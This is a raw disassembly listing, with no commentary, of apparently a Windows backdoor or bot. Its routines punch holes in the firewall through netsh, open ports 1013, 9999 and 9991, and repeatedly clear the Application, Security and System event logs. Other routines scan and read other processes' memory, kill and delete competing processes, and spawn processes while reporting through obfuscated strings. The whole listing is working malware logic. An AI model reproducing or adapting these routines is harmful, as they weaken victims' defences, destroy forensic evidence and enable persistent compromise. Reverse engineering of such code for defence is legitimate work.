push offset aFirewallSetP_2 ; "firewall set portopening TCP 1013 BS"
lea eax, [esp+44h+arg_D0]
push 200h
push eax
call sub_429AEE
add esp, 0Ch
lea eax, [esp+40h+arg_D0]
push ebp
push ebp
push eax
push ebx
push edi
push ebp
call esi ; dword_43725C
push offset aFirewallSetP_3 ; "firewall set portopening TCP 9999 PORT1"...
lea eax, [esp+5Ch+arg_2B8]
push 200h
push eax
call sub_429AEE
add esp, 0Ch
lea eax, [esp+58h+arg_2B8]
push ebp
push ebp
push eax
push ebx
push edi
push ebp
call esi ; dword_43725C
push offset aFirewallSetP_4 ; "firewall set portopening TCP 9991 PORT2"...
lea eax, [esp+74h+arg_4A0]
push 200h
push eax
call sub_429AEE
add esp, 0Ch
lea eax, [esp+70h+arg_4A0]
push ebp
push ebp
push eax
push ebx
push edi
push ebp
call esi ; dword_43725C
push 104h
lea eax, [esp+8Ch+var_78]
push eax
push ebp
call dword_437070 ; GetModuleHandleA
push eax
call dword_437178 ; GetModuleFileNameA
lea eax, [esp+98h+var_88]
push eax
push offset aFirewallAddAll ; "firewall add allowedprogram \"%s\" workst"...
lea eax, [esp+0A0h+arg_A78]
push 400h
push eax
call sub_429AEE
add esp, 10h
lea eax, [esp+98h+arg_A78]
push ebp
push ebp
push eax
push ebx
push edi
push ebp
call esi ; dword_43725C
lea eax, [esp+0B0h+var_A0]
push eax
push offset aFirewallSetAll ; "firewall set allowedprogram \"%s\" workst"...
lea eax, [esp+0B8h+arg_E60]
push 400h
push eax
call sub_429AEE
add esp, 10h
lea eax, [esp+0B0h+arg_E60]
push ebp
push ebp
push eax
push ebx
push edi
push ebp
call esi ; dword_43725C
push ebp
call dword_437170 ; ExitThread
pop edi
pop esi
pop ebp
pop ebx
sub_41E96A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41EAD6 proc near ; DATA XREF: sub_402CBA+3Fo
var_200 = byte ptr -200h
push ebp
mov ebp, esp
sub esp, 200h
push dword_454A10
lea eax, [ebp+var_200]
push offset aFirewallSetPor ; "firewall set portopening TCP %d FD"
push 200h
push eax
call sub_429AEE
add esp, 10h
lea eax, [ebp+var_200]
push 0
push 0
push eax
push offset aNetsh ; "netsh"
push offset aOpen ; "open"
push 0
call dword_43725C
push 0
call dword_437170 ; ExitThread
sub_41EAD6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41EB23 proc near ; DATA XREF: sub_40A938+1C6Co
; sub_418EDB+21Ao
var_A0 = dword ptr -0A0h
var_90 = dword ptr -90h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A0h
mov eax, [ebp+arg_0]
push ebx
push edi
mov [ebp+var_C], offset aApplication ; "application"
mov dword ptr [eax+0BCh], 1
mov [ebp+var_8], offset aSecurity ; "security"
mov [ebp+var_4], offset aSystem ; "system"
loc_41EB50: ; CODE XREF: sub_41EB23+AFj
call dword_456DF4 ; DnsFlushResolverCache
call sub_427E13
xor edi, edi
push 94h
lea eax, [ebp+var_A0]
push edi
push eax
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_A0]
mov [ebp+var_A0], 94h
push eax
call dword_437050 ; GetVersionExA
cmp [ebp+var_90], 2
jnz short loc_41EBBA
loc_41EB92: ; CODE XREF: sub_41EB23+95j
push [ebp+edi*4+var_C]
push 0
call dword_456E70 ; OpenEventLogA
mov ebx, eax
test ebx, ebx
jz short loc_41EBB4
push 0
push ebx
call dword_456E80 ; ClearEventLogA
push ebx
call dword_456E2C ; CloseEventLog
loc_41EBB4: ; CODE XREF: sub_41EB23+7Fj
inc edi
cmp edi, 3
jl short loc_41EB92
loc_41EBBA: ; CODE XREF: sub_41EB23+6Dj
push 4F27AC0h
push 32A3DE0h
call sub_41E34F
pop ecx
pop ecx
push eax
call dword_43718C ; Sleep
jmp loc_41EB50
sub_41EB23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EBD7 proc near ; DATA XREF: sub_40A938+76DEo
var_9D64 = word ptr -9D64h
var_9D62 = word ptr -9D62h
var_9D60 = dword ptr -9D60h
var_124 = dword ptr -124h
var_120 = byte ptr -120h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 9D64h
call sub_429A90
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 48h
mov esi, eax
pop ecx
lea edi, [ebp+var_124]
rep movsd
xor edi, edi
xor ebx, ebx
inc edi
cmp [ebp+var_14], ebx
mov [eax+11Ch], edi
mov eax, [ebp+var_124]
mov [ebp+var_4], eax
mov dword_458728, ebx
jle loc_41ED3C
loc_41EC1A: ; CODE XREF: sub_41EBD7+10Bj
push ebx
push edi
push 2
call dword_4372B8
mov ecx, dword_458728
cmp eax, ebx
mov dword_458730[ecx*4], eax
jl loc_41ECCB
shl ecx, 4
push ebx
push 10h
lea eax, [ebp+ecx+var_9D64]
push eax
call sub_429690
mov eax, dword_458728
add esp, 0Ch
shl eax, 4
mov [ebp+eax+var_9D64], 2
lea eax, [ebp+var_120]
push eax
call dword_4372BC
mov ecx, dword_458728
push [ebp+var_1C]
mov edx, ecx
shl edx, 4
shl ecx, 4
mov [ebp+edx+var_9D60], eax
mov esi, ecx
call dword_4372C0
mov [ebp+esi+var_9D62], ax
lea eax, [ebp+esi+var_9D64]
push 10h
push eax
mov eax, dword_458728
push dword_458730[eax*4]
call dword_4372C8
lea eax, [ebp+arg_0+2]
push edi
push eax
mov eax, dword_458728
push dword_458730[eax*4]
call sub_42F3EE
add esp, 0Ch
loc_41ECCB: ; CODE XREF: sub_41EBD7+5Cj
push [ebp+var_18]
call dword_43718C ; Sleep
inc dword_458728
mov eax, dword_458728
cmp eax, [ebp+var_14]
jl loc_41EC1A
jmp short loc_41ED3C
; ---------------------------------------------------------------------------
loc_41ECEA: ; CODE XREF: sub_41EBD7+170j
push 2
push dword_458730[eax*4]
call dword_437284
test eax, eax
jge short loc_41ED08
push offset aShutdown ; "shutdown"
call sub_42BE29
pop ecx
loc_41ED08: ; CODE XREF: sub_41EBD7+124j
mov eax, dword_458728
push dword_458730[eax*4]
call sub_42F0D0
test eax, eax
pop ecx
jz short loc_41ED2A
push offset aCloseError ; "close error\n"
call sub_42BDE8
jmp short loc_41ED3B
; ---------------------------------------------------------------------------
loc_41ED2A: ; CODE XREF: sub_41EBD7+145j
push dword_458728
push offset aClosedI ; "closed %i\n"
call sub_42BDE8
pop ecx
loc_41ED3B: ; CODE XREF: sub_41EBD7+151j
pop ecx
loc_41ED3C: ; CODE XREF: sub_41EBD7+3Dj
; sub_41EBD7+111j
dec dword_458728
mov eax, dword_458728
jns short loc_41ECEA
push dword_458730[eax*4]
call dword_4372D4
cmp [ebp+var_C], 0
mov ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
mov edi, offset aAxauo_rlggx0 ; "aXauo.rLGgX0"
mov esi, offset aSSS_2 ; "%s %s -> %s"
jnz short loc_41ED8D
cmp [ebp+var_10], 0
jnz short loc_41ED93
lea eax, [ebp+var_120]
push eax
push ebx
push edi
lea eax, [ebp+var_A0]
push esi
push eax
push [ebp+var_4]
call sub_41CD84
add esp, 18h
loc_41ED8D: ; CODE XREF: sub_41EBD7+192j
cmp [ebp+var_10], 0
jz short loc_41EDAF
loc_41ED93: ; CODE XREF: sub_41EBD7+198j
lea eax, [ebp+var_120]
push eax
push ebx
push edi
lea eax, [ebp+var_A0]
push esi
push eax
push [ebp+var_4]
call sub_41CD0E
add esp, 18h
loc_41EDAF: ; CODE XREF: sub_41EBD7+1BAj
push [ebp+var_20]
call sub_42355A
pop ecx
push 0
call dword_437170 ; ExitThread
pop edi
pop esi
pop ebx
sub_41EBD7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EDC3 proc near ; CODE XREF: sub_41F02F+353p
; sub_41F02F+385p
var_5504 = byte ptr -5504h
var_5503 = byte ptr -5503h
var_504 = byte ptr -504h
var_503 = byte ptr -503h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = byte ptr 20h
arg_20 = dword ptr 28h
arg_3C = byte ptr 44h
push ebp
mov ebp, esp
mov eax, 5504h
call sub_429A90
and [ebp+var_5504], 0
push ebx
push esi
push edi
mov ecx, 13FFh
xor eax, eax
lea edi, [ebp+var_5503]
and [ebp+var_504], 0
rep stosd
stosw
stosb
mov ecx, 13Fh
xor eax, eax
lea edi, [ebp+var_503]
push [ebp+arg_20]
rep stosd
stosw
stosb
xor edi, edi
push edi
push 1F0FFFh
call dword_437104 ; OpenProcess
mov [ebp+var_4], eax
mov eax, [ebp+arg_10]
mov [ebp+arg_10], eax
jmp loc_41EF12
; ---------------------------------------------------------------------------
loc_41EE24: ; CODE XREF: sub_41EDC3+152j
push edi
lea eax, [ebp+var_504]
push 500h
push eax
push [ebp+arg_10]
push [ebp+var_4]
call dword_437100 ; ReadProcessMemory
cmp eax, edi
jz loc_41EF1B
lea eax, [ebp+var_504]
push eax
lea eax, [ebp+var_5504]
push eax
call sub_42A510
cmp off_447ACC, edi
pop ecx
pop ecx
jz loc_41EEF7
mov esi, offset off_447ACC
mov ebx, esi
loc_41EE6D: ; CODE XREF: sub_41EDC3+12Ej
push dword ptr [esi]
lea eax, [ebp+var_5504]
push eax
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_41EEEA
push dword ptr [ebx-4]
lea eax, [ebp+arg_3C]
push eax
push dword ptr [esi]
mov esi, offset dword_45AE40
push offset aAl_N0kenp20 ; "Al./N0Kenp20"
push offset aSFoundStringSI ; "%s Found string \"%s\" in \"%s\" File \"%s\""
push esi
call sub_429A33
add esp, 18h
cmp [ebp+arg_4], edi
jnz short loc_41EEB6
push esi
push [ebp+arg_C]
push [ebp+arg_0]
call sub_41CD84
add esp, 0Ch
loc_41EEB6: ; CODE XREF: sub_41EDC3+E2j
push 7D0h
call dword_43718C ; Sleep
sub esp, 128h
lea esi, [ebp+arg_18]
push 4Ah
pop ecx
mov edi, esp
push [ebp+arg_C]
rep movsd
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41EF29
add esp, 138h
xor edi, edi
loc_41EEEA: ; CODE XREF: sub_41EDC3+BCj
add ebx, 8
mov esi, ebx
cmp [ebx], edi
jnz loc_41EE6D
loc_41EEF7: ; CODE XREF: sub_41EDC3+9Dj
push 5000h
lea eax, [ebp+var_5504]
push edi
push eax
call sub_429690
add esp, 0Ch
inc [ebp+arg_10]
mov eax, [ebp+arg_10]
loc_41EF12: ; CODE XREF: sub_41EDC3+5Cj
cmp eax, [ebp+arg_14]
jbe loc_41EE24
loc_41EF1B: ; CODE XREF: sub_41EDC3+7Cj
push [ebp+var_4]
call dword_437044 ; CloseHandle
pop edi
pop esi
pop ebx
leave
retn
sub_41EDC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EF29 proc near ; CODE XREF: sub_41EDC3+11Ap
; sub_41F02F+25Fp ...
var_228 = dword ptr -228h
var_224 = byte ptr -224h
var_208 = byte ptr -208h
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_34 = byte ptr 3Ch
push ebp
mov ebp, esp
sub esp, 228h
and [ebp+var_228], 0
push esi
push edi
mov ecx, 88h
push [ebp+arg_18]
xor eax, eax
lea edi, [ebp+var_224]
rep stosd
push 8
call sub_428FE2 ; CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp+var_228]
push eax
push edi
mov [ebp+var_228], 224h
call sub_428FDC ; Module32First
test eax, eax
jz loc_41F01D
mov esi, offset dword_45AE40
loc_41EF7A: ; CODE XREF: sub_41EF29+EEj
lea eax, [ebp+var_208]
push eax
lea eax, [ebp+arg_34]
push eax
call dword_437174 ; lstrcmpiA
test eax, eax
jnz short loc_41F008
lea eax, [ebp+var_108]
push 80h
push eax
call dword_437068 ; SetFileAttributesA
push [ebp+arg_18]
push 0
push 1F0FFFh
call dword_437104 ; OpenProcess
push 0
push eax
mov [ebp+var_4], eax
call dword_43710C ; TerminateProcess
push 1F4h
call dword_43718C ; Sleep
lea eax, [ebp+var_108]
push eax
call dword_437060 ; DeleteFileA
test eax, eax
jz short loc_41F008
lea eax, [ebp+var_108]
push eax
push offset aAl_N0kenp20 ; "Al./N0Kenp20"
push offset aSTerminatedAnd ; "%s Terminated and deleted %s"
push esi
call sub_429A33
add esp, 10h
cmp [ebp+arg_4], 0
jnz short loc_41F008
push esi
push [ebp+arg_C]
push [ebp+arg_0]
call sub_41CD84
add esp, 0Ch
loc_41F008: ; CODE XREF: sub_41EF29+64j
; sub_41EF29+AEj ...
lea eax, [ebp+var_228]
push eax
push edi
call sub_428FD6 ; Module32Next
test eax, eax
jnz loc_41EF7A
loc_41F01D: ; CODE XREF: sub_41EF29+46j
push [ebp+var_4]
mov esi, dword_437044
call esi ; dword_437044
push edi
call esi ; dword_437044
pop edi
pop esi
leave
retn
sub_41EF29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F02F proc near ; DATA XREF: sub_40A938+1DDBo
var_260 = byte ptr -260h
var_1D5 = byte ptr -1D5h
var_1D4 = dword ptr -1D4h
var_1B0 = byte ptr -1B0h
var_AC = dword ptr -0ACh
var_A8 = byte ptr -0A8h
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 260h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 27h
mov esi, eax
pop ecx
lea edi, [ebp+var_AC]
rep movsd
mov esi, offset dword_45AF40
mov dword ptr [eax+98h], 1
mov eax, [ebp+var_AC]
push 80h
push esi
push 0
mov [ebp+var_8], eax
call dword_437070 ; GetModuleHandleA
push eax
call dword_437178 ; GetModuleFileNameA
push 5Ch
push esi
call sub_42AF90
push offset byte_454A34
push offset asc_44DA9C ; "\\"
push eax
mov dword_45AFC0, eax
call sub_427931
add esp, 14h
push 0
push 2
call sub_428FE2 ; CreateToolhelp32Snapshot
lea ecx, [ebp+var_1D4]
mov [ebp+var_C], eax
push ecx
push eax
mov [ebp+var_1D4], 128h
mov byte ptr [ebp+arg_0+3], 1
call sub_428FEE ; Process32First
jmp loc_41F3D4
; ---------------------------------------------------------------------------
loc_41F0C4: ; CODE XREF: sub_41F02F+3A7j
push dword_45AFC0
lea eax, [ebp+var_1B0]
push eax
call dword_437174 ; lstrcmpiA
test eax, eax
jnz short loc_41F0DE
and byte ptr [ebp+arg_0+3], al
loc_41F0DE: ; CODE XREF: sub_41F02F+AAj
and [ebp+var_1D5], 0
mov eax, 600h
push eax
mov [ebp+var_10], eax
call sub_4296E8
pop ecx
mov esi, eax
lea eax, [ebp+var_10]
push 1
xor ebx, ebx
push eax
push esi
mov [esi], ebx
call sub_429000
cmp [esi], ebx
jle short loc_41F143
lea edi, [esi+8]
loc_41F10D: ; CODE XREF: sub_41F02F+112j
mov ax, [edi]
push eax
call dword_4372A4
mov [ebp+var_4], eax
push 8Ch
lea eax, [ebp+var_260]
push 0
push eax
call sub_429690
add esp, 0Ch
cmp word ptr [ebp+var_4], 45h
jz loc_41F3FB
inc ebx
add edi, 8
cmp ebx, [esi]
jl short loc_41F10D
loc_41F143: ; CODE XREF: sub_41F02F+D9j
push esi
call sub_429822
pop ecx
xor edi, edi
push edi
push 45h
push offset dword_457CD8
call dword_456F5C ; inet_addr
push eax
call sub_40238D
add esp, 0Ch
test eax, eax
jnz loc_41F435
loc_41F16B: ; CODE XREF: sub_41F02F+17Bj
mov ebx, dword_437174
lea esi, off_4488F8[edi]
lea eax, [ebp+var_1B0]
push dword ptr [esi]
push eax
call ebx ; dword_437174
test eax, eax
jnz short loc_41F189
and byte ptr [ebp+arg_0+3], al
loc_41F189: ; CODE XREF: sub_41F02F+155j
lea eax, [ebp+var_1B0]
push eax
push dword ptr [esi]
call sub_427A85
pop ecx
test eax, eax
pop ecx
jz short loc_41F1A1
and byte ptr [ebp+arg_0+3], 0
loc_41F1A1: ; CODE XREF: sub_41F02F+16Cj
add edi, 4
cmp edi, 668h
jb short loc_41F16B
xor edi, edi
loc_41F1AE: ; CODE XREF: sub_41F02F+1B8j
lea esi, off_448F60[edi]
lea eax, [ebp+var_1B0]
push dword ptr [esi]
push eax
call ebx ; dword_437174
test eax, eax
jnz short loc_41F1C6
and byte ptr [ebp+arg_0+3], al
loc_41F1C6: ; CODE XREF: sub_41F02F+192j
lea eax, [ebp+var_1B0]
push eax
push dword ptr [esi]
call sub_427A85
pop ecx
test eax, eax
pop ecx
jz short loc_41F1DE
and byte ptr [ebp+arg_0+3], 0
loc_41F1DE: ; CODE XREF: sub_41F02F+1A9j
add edi, 4
cmp edi, 88h
jb short loc_41F1AE
xor edi, edi
loc_41F1EB: ; CODE XREF: sub_41F02F+1F5j
lea esi, off_448FE8[edi]
lea eax, [ebp+var_1B0]
push dword ptr [esi]
push eax
call ebx ; dword_437174
test eax, eax
jnz short loc_41F203
and byte ptr [ebp+arg_0+3], al
loc_41F203: ; CODE XREF: sub_41F02F+1CFj
lea eax, [ebp+var_1B0]
push eax
push dword ptr [esi]
call sub_427A85
pop ecx
test eax, eax
pop ecx
jz short loc_41F21B
and byte ptr [ebp+arg_0+3], 0
loc_41F21B: ; CODE XREF: sub_41F02F+1E6j
add edi, 4
cmp edi, 0D0h
jb short loc_41F1EB
and [ebp+var_4], 0
loc_41F22A: ; CODE XREF: sub_41F02F+2EAj
mov eax, [ebp+var_4]
push off_447E48[eax]
lea eax, [ebp+var_1B0]
push eax
call ebx ; dword_437174
test eax, eax
jnz short loc_41F299
cmp [ebp+var_18], eax
jz short loc_41F268
lea eax, [ebp+var_1B0]
push eax
push offset aAl_N0kenp20 ; "Al./N0Kenp20"
lea eax, [ebp+var_A8]
push offset aSKillingS ; "%s Killing %s"
push eax
push [ebp+var_8]
call sub_41CD84
add esp, 14h
loc_41F268: ; CODE XREF: sub_41F02F+214j
sub esp, 128h
lea eax, [ebp+var_A8]
lea esi, [ebp+var_1D4]
push 4Ah
pop ecx
mov edi, esp
push eax
push [ebp+var_18]
rep movsd
push [ebp+var_20]
push [ebp+var_AC]
call sub_41EF29
add esp, 138h
loc_41F299: ; CODE XREF: sub_41F02F+20Fj
lea eax, [ebp+var_1B0]
push eax
mov eax, [ebp+var_4]
push off_447E48[eax]
call sub_427A85
pop ecx
test eax, eax
pop ecx
jz short loc_41F30E
cmp [ebp+var_18], 0
jz short loc_41F2DD
lea eax, [ebp+var_1B0]
push eax
push offset aAl_N0kenp20 ; "Al./N0Kenp20"
lea eax, [ebp+var_A8]
push offset aSMatchedAndKil ; "%s Matched and killing %s"
push eax
push [ebp+var_8]
call sub_41CD84
add esp, 14h
loc_41F2DD: ; CODE XREF: sub_41F02F+289j
sub esp, 128h
lea eax, [ebp+var_A8]
lea esi, [ebp+var_1D4]
push 4Ah
pop ecx
mov edi, esp
push eax
push [ebp+var_18]
rep movsd
push [ebp+var_20]
push [ebp+var_AC]
call sub_41EF29
add esp, 138h
loc_41F30E: ; CODE XREF: sub_41F02F+283j
add [ebp+var_4], 4
cmp [ebp+var_4], 0AACh
jb loc_41F22A
cmp byte ptr [ebp+arg_0+3], 0
jz loc_41F3C1
cmp [ebp+var_18], 0
jz short loc_41F352
lea eax, [ebp+var_1B0]
push eax
push offset aAl_N0kenp20 ; "Al./N0Kenp20"
lea eax, [ebp+var_A8]
push offset aSRunningAvscan ; "%s Running AVScan on %s"
push eax
push [ebp+var_8]
call sub_41CD84
add esp, 14h
loc_41F352: ; CODE XREF: sub_41F02F+2FEj
sub esp, 128h
lea eax, [ebp+var_A8]
lea esi, [ebp+var_1D4]
push 4Ah
pop ecx
mov edi, esp
push offset byte_4FFFFF
push 400000h
push eax
push [ebp+var_18]
rep movsd
push [ebp+var_20]
push [ebp+var_AC]
call sub_41EDC3
add esp, 18h
lea eax, [ebp+var_A8]
lea esi, [ebp+var_1D4]
push 4Ah
pop ecx
mov edi, esp
push 1FFFFFh
push 100000h
push eax
push [ebp+var_18]
rep movsd
push [ebp+var_20]
push [ebp+var_AC]
call sub_41EDC3
add esp, 140h
jmp short loc_41F3C5
; ---------------------------------------------------------------------------
loc_41F3C1: ; CODE XREF: sub_41F02F+2F4j
mov byte ptr [ebp+arg_0+3], 1
loc_41F3C5: ; CODE XREF: sub_41F02F+390j
lea eax, [ebp+var_1D4]
push eax
push [ebp+var_C]
call sub_428FE8 ; Process32Next
loc_41F3D4: ; CODE XREF: sub_41F02F+90j
test eax, eax
jnz loc_41F0C4
push [ebp+var_C]
call dword_437044 ; CloseHandle
call sub_42BEC0
push [ebp+var_28]
call sub_42355A
pop ecx
push 0
call dword_437170 ; ExitThread
loc_41F3FB: ; CODE XREF: sub_41F02F+106j
cmp [ebp+var_18], 0
jz short loc_41F424
lea eax, [ebp+var_1B0]
push eax
push offset aAl_N0kenp20 ; "Al./N0Kenp20"
lea eax, [ebp+var_A8]
push offset aSBkillShutdown ; "%s bkill shutdown for wride."
push eax
push [ebp+var_8]
call sub_41CD84
add esp, 14h
loc_41F424: ; CODE XREF: sub_41F02F+3D0j
push [ebp+var_28]
call sub_42355A
pop ecx
push 0
call dword_437170 ; ExitThread
loc_41F435: ; CODE XREF: sub_41F02F+136j
cmp [ebp+var_18], edi
jz short loc_41F45D
lea eax, [ebp+var_1B0]
push eax
push offset aAl_N0kenp20 ; "Al./N0Kenp20"
lea eax, [ebp+var_A8]
push offset aSBkillShutdown ; "%s bkill shutdown for wride."
push eax
push [ebp+var_8]
call sub_41CD84
add esp, 14h
loc_41F45D: ; CODE XREF: sub_41F02F+409j
push [ebp+var_28]
call sub_42355A
pop ecx
push edi
call dword_437170 ; ExitThread
sub_41F02F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F46D proc near ; DATA XREF: sub_40A938+210Eo
var_418 = byte ptr -418h
var_314 = byte ptr -314h
var_29C = byte ptr -29Ch
var_198 = byte ptr -198h
var_120 = dword ptr -120h
var_F4 = dword ptr -0F4h
var_F0 = word ptr -0F0h
var_DC = dword ptr -0DCh
var_D8 = byte ptr -0D8h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 418h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 31h
mov esi, eax
pop ecx
lea edi, [ebp+var_DC]
rep movsd
xor edi, edi
push [ebp+var_54]
inc edi
mov esi, [ebp+var_48]
mov [eax+0BCh], edi
mov eax, [ebp+var_DC]
mov [ebp+arg_0], eax
mov eax, [ebp+var_44]
mov [ebp+var_18], eax
lea eax, [ebp+var_29C]
push eax
call dword_4370A4 ; lstrcpyA
lea eax, [ebp+var_29C]
push 104h
push eax
lea eax, [ebp+var_418]
push eax
call sub_429C40
add esp, 0Ch
lea eax, [ebp+var_418]
push eax
call dword_456E8C ; PathRemoveFileSpecA
test eax, eax
jnz short loc_41F541
cmp [ebp+var_28], eax
mov ebx, dword_43716C
mov edi, offset aYdidb16dnmq_ ; "YdidB16dnMQ."
mov esi, offset aAl_N0kenp20 ; "Al./N0Kenp20"
jnz short loc_41F516
cmp [ebp+var_24], eax
jnz short loc_41F520
call ebx ; dword_43716C
push eax
push edi
push esi
lea eax, [ebp+var_D8]
push offset aSCouldnTPars_0 ; "%s Couldn't parse path, %s <%d>"
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 18h
loc_41F516: ; CODE XREF: sub_41F46D+86j
cmp [ebp+var_24], 0
jz loc_41F61B
loc_41F520: ; CODE XREF: sub_41F46D+8Bj
call ebx ; dword_43716C
push eax
push edi
push esi
lea eax, [ebp+var_D8]
push offset aSCouldnTPars_0 ; "%s Couldn't parse path, %s <%d>"
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 18h
jmp loc_41F61B
; ---------------------------------------------------------------------------
loc_41F541: ; CODE XREF: sub_41F46D+71j
xor ebx, ebx
push 44h
lea eax, [ebp+var_120]
push ebx
push eax
call sub_429690
push 10h
lea eax, [ebp+var_14]
push ebx
push eax
call sub_429690
add esp, 18h
lea eax, [ebp+var_14]
neg esi
push eax
lea eax, [ebp+var_120]
push eax
lea eax, [ebp+var_418]
push eax
push ebx
sbb esi, esi
push ebx
push ebx
and esi, 0FFFFFFFBh
push ebx
lea eax, [ebp+var_29C]
push ebx
add esi, 5
push eax
push ebx
mov [ebp+var_120], 44h
mov [ebp+var_F4], edi
mov [ebp+var_F0], si
call dword_437188 ; CreateProcessA
test eax, eax
jnz short loc_41F623
cmp [ebp+var_28], ebx
mov ebx, dword_43716C
mov edi, offset aYdidb16dnmq_ ; "YdidB16dnMQ."
mov esi, offset aAl_N0kenp20 ; "Al./N0Kenp20"
jnz short loc_41F5ED
cmp [ebp+var_24], eax
jnz short loc_41F5F3
call ebx ; dword_43716C
push eax
lea eax, [ebp+var_29C]
push edi
push eax
push offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0"
push esi
lea eax, [ebp+var_D8]
push offset aSSToCreatePr_0 ; "%s %s to create proc: \"%s\", %s: <%d>"
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 20h
loc_41F5ED: ; CODE XREF: sub_41F46D+151j
cmp [ebp+var_24], 0
jz short loc_41F61B
loc_41F5F3: ; CODE XREF: sub_41F46D+156j
call ebx ; dword_43716C
push eax
lea eax, [ebp+var_29C]
push edi
push eax
push offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0"
push esi
lea eax, [ebp+var_D8]
push offset aSSToCreatePr_0 ; "%s %s to create proc: \"%s\", %s: <%d>"
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 20h
loc_41F61B: ; CODE XREF: sub_41F46D+ADj
; sub_41F46D+CFj ...
xor eax, eax
inc eax
jmp loc_41F7A9
; ---------------------------------------------------------------------------
loc_41F623: ; CODE XREF: sub_41F46D+13Cj
mov edi, dword_437184
call edi ; dword_437184
cmp [ebp+var_28], 0
mov [ebp+var_4], eax
mov esi, offset aAl_N0kenp20 ; "Al./N0Kenp20"
mov ebx, offset aSCreatedProcSP ; "%s Created proc: \"%s\", PID: <%d>"
jnz short loc_41F662
cmp [ebp+var_24], 0
jnz short loc_41F668
push [ebp+var_C]
lea eax, [ebp+var_29C]
push eax
push esi
lea eax, [ebp+var_D8]
push ebx
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 18h
loc_41F662: ; CODE XREF: sub_41F46D+1CFj
cmp [ebp+var_24], 0
jz short loc_41F686
loc_41F668: ; CODE XREF: sub_41F46D+1D5j
push [ebp+var_C]
lea eax, [ebp+var_29C]
push eax
push esi
lea eax, [ebp+var_D8]
push ebx
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 18h
loc_41F686: ; CODE XREF: sub_41F46D+1F9j
cmp [ebp+var_28], 0
jnz loc_41F782
cmp [ebp+var_18], 0
jz loc_41F782
push 0FFFFFFFFh
push [ebp+var_14]
call dword_43707C ; WaitForSingleObject
call edi ; dword_437184
sub eax, [ebp+var_4]
xor edx, edx
mov ecx, 3E8h
push 3Ch
div ecx
xor edx, edx
mov ecx, 15180h
pop edi
and [ebp+var_198], 0
div ecx
mov ecx, 0E10h
mov eax, edx
xor edx, edx
div ecx
mov ecx, eax
mov eax, edx
xor edx, edx
div edi
mov edi, dword_437090
test ecx, ecx
mov ebx, edx
mov [ebp+var_4], eax
jbe short loc_41F71D
cmp ecx, 1
mov eax, offset aHour ; " hour"
jz short loc_41F6F7
mov eax, offset aHours ; " hours"
loc_41F6F7: ; CODE XREF: sub_41F46D+283j
push eax
push ecx
lea eax, [ebp+var_314]
push offset aDS ; " %d%s"
push eax
call sub_429A33
add esp, 10h
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_198]
push eax
call edi ; dword_437090
loc_41F71D: ; CODE XREF: sub_41F46D+279j
push ebx
lea eax, [ebp+var_314]
push [ebp+var_4]
push offset a_2d_2d ; " %.2d:%.2d"
push eax
call sub_429A33
add esp, 10h
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_198]
push eax
call edi ; dword_437090
lea eax, [ebp+var_198]
cmp [ebp+var_24], 0
push eax
lea eax, [ebp+var_29C]
push offset aIhfnL6b5x ; "/iHFN/l6B5X/"
push eax
push offset aSfe3h0kclgx0 ; "SFe3H0kCLgx0"
lea eax, [ebp+var_D8]
push esi
push offset aSProcsSSTotalS ; "%s Procs %s: \"%s\", Total %s Time: %s."
push eax
push [ebp+arg_0]
jnz short loc_41F77A
call sub_41CD84
jmp short loc_41F77F
; ---------------------------------------------------------------------------
loc_41F77A: ; CODE XREF: sub_41F46D+304j
call sub_41CD0E
loc_41F77F: ; CODE XREF: sub_41F46D+30Bj
add esp, 20h
